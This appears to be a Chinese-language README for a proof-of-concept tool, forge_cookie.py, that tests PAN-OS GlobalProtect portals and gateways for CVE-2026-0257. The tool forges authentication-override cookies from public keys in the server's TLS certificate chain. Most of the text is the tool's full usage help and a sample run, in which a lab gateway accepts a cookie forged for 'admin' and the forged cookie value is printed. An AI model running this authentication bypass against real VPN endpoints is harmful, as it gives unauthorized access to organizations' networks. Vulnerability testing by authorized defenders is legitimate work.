一个概念验证脚本,用于测试目标 PAN-OS GlobalProtect 门户或网关是否存在 CVE-2026-0257。该脚本会遍历 HTTPS 服务使用的证书链,并针对链中的每个公钥伪造一个有效的身份验证覆盖 Cookie,然后对 GlobalProtect 目标进行测试,验证其是否有效。
成功伪造的 Cookie 将登录 GlobalProtect 目标并检索 VPN 连接信息(使用 --verbose 参数查看详细信息)。
$ python forge_cookie.py --help
usage: forge_cookie.py [-h] --target TARGET [--port PORT] [--user USER] [--domain DOMAIN] [--host-id HOST_ID]
[--client-os CLIENT_OS] [--client-ip CLIENT_IP] [--context {gateway,portal,both}] [--verbose]
Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257).
options:
-h, --help show this help message and exit
--target TARGET Target GlobalProtect portal or gateway (IP or hostname)
--port PORT Target port (default: 443)
--user USER Username to forge cookie for (default: admin)
--domain DOMAIN Domain for cookie (default: empty)
--host-id HOST_ID Host ID for cookie (default: empty)
--client-os CLIENT_OS
Client OS for cookie (default: Windows)
--client-ip CLIENT_IP
Client IP in cookie (default: 0.0.0.0)
--context {gateway,portal,both}
Context to test: gateway, portal, or both (default target)
--verbose Print full response
$ python forge_cookie.py --target 192.168.86.99
[*] 正在从 192.168.86.99:443 获取证书链...
发现证书链中包含 2 个证书:
[0] CN=192.168.86.99 (RSA 2048 位, CA=False)
[1] CN=GP-Lab-CA (RSA 2048 位, CA=True)
[*] 为用户 'admin' 伪造 Cookie,测试每个密钥
正在尝试 [0] CN=192.168.86.99
[-] 失败 - 网关未接受伪造的 Cookie
[-] 失败 - 门户未接受伪造的 Cookie
正在尝试 [1] CN=GP-Lab-CA
[+] 成功 - 网关接受了伪造的 Cookie
Cookie: bvUbfM5n5rWnZp8tp3AIE8Q/v9L7rJSgRb1suYHHBedwBrfUr4pItrluBYtQ3VtmkF0AYXw9hyipzrMC5qg0JO+ZHuZpHLIFNfhergPGRbLFBkRk9sriFMuGiRU1q3bBSF7PzxDn+0dy0+fG4Wf7u+JD4qQEcw+tIgp9UKv0IhyFY9XxwzYdrQucA8P9zKRkGiEQpFwD776mONJKnHZTe+R+D/wy49ATBWETuhD2NP+7dB2IeSfV2eGBiZWTJcLAxXpQHcKRImhTGKlw9o4Frw+RBVqh9aCXCQ4yLYuAviabWpV94Fhp/3aPVTrLDCOrbBilsu6Men9oOT3+b8Uw2g==